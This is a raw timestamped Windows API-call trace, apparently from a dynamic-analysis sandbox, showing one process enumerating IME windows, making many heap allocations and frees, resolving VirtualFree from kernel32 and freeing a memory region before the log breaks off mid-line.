[0168.577] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.577] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.577] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.577] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.578] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.578] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.578] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.578] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.578] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.578] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.578] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.579] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0168.579] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0168.579] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.579] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.579] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.579] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.579] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0168.579] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0168.580] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.580] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.580] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.580] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.580] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0168.580] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0168.580] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.580] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.580] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0168.580] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.580] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0168.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.581] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.581] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.581] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0168.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.581] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0168.581] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.581] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.582] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0168.582] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0168.582] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.582] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.582] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.582] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.582] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.582] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.582] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.583] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7978 [0168.583] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7978 | out: hHeap=0xe80000) returned 1 [0168.583] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.583] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0168.583] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.583] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0168.583] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.583] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0168.584] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0168.584] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0168.584] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0168.584] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10788c0 [0168.584] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0168.584] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10788c0 | out: hHeap=0xe80000) returned 1 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0xed7a38 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a58 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf948 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x60) returned 0xec3a70 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078aa0 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a70 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ae8 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078b48 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078980 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10789c8 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078a28 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078908 [0168.584] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078938 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078b30 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078b00 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078920 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ba8 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078968 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078a40 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ab8 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078b90 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078998 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ad0 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10789b0 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078b78 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10788c0 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x10788d8 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078cc8 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078c20 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078e60 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078c38 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ce0 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078c50 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e78 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078cb0 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078ea8 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078c80 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078c98 [0168.585] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078e90 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078bc0 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078c68 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d58 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078da0 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078db8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078bd8 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078bf0 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078de8 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078cf8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d10 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078c08 [0168.586] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.586] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d70 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d88 [0168.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d28 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078d40 [0168.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0168.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078dd0 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e00 [0168.587] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf9e8 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e18 [0168.587] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0168.587] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafaf8 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbf8 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e48 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafaf8 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbf8 | out: hHeap=0xe80000) returned 1 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba5e8 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc18 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb88 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb08 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e48 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb88 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb08 | out: hHeap=0xe80000) returned 1 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb08 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa88 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb58 [0168.588] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e48 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.588] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa88 | out: hHeap=0xe80000) returned 1 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb58 | out: hHeap=0xe80000) returned 1 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafad8 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb38 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbb8 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e48 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb38 | out: hHeap=0xe80000) returned 1 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbb8 | out: hHeap=0xe80000) returned 1 [0168.589] LoadLibraryW (lpLibFileName="kernel32") returned 0x770a0000 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafa78 [0168.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualFree", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0168.589] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1078e48 [0168.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualFree", cchWideChar=12, lpMultiByteStr=0x1078e48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualFree", lpUsedDefaultChar=0x0) returned 12 [0168.589] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e48 | out: hHeap=0xe80000) returned 1 [0168.590] GetProcAddress (hModule=0x770a0000, lpProcName="VirtualFree") returned 0x770b7600 [0168.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078e30 | out: hHeap=0xe80000) returned 1 [0168.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa78 | out: hHeap=0xe80000) returned 1 [0168.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba688 [0168.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafaf8 [0168.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb78 [0168.590] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafb88 [0168.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafaf8 | out: hHeap=0xe80000) returned 1 [0168.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb78 | out: hHeap=0xe80000) returned 1 [0168.590] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb88 | out: hHeap=0xe80000) returned 1 [0168.591] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0168.591] VirtualFree (lpAddress=0x35a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc08 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0xee5ab0 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e30 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078e48 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1079088 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078fc8 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafbb8 [0168.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078fc8 | out: hHeap=0xe80000) returned 1 [0168.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbb8 | out: hHeap=0xe80000) returned 1 [0168.592] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1079088 | out: hHeap=0xe80000) returned 1 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1079118 [0168.592] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078f98 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1079160 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeafc28 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1079160 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc28 | out: hHeap=0xe80000) returned 1 [0168.593] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078f98 | out: hHeap=0xe80000) returned 1 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078fb0 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078ec0 [0168.593] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) 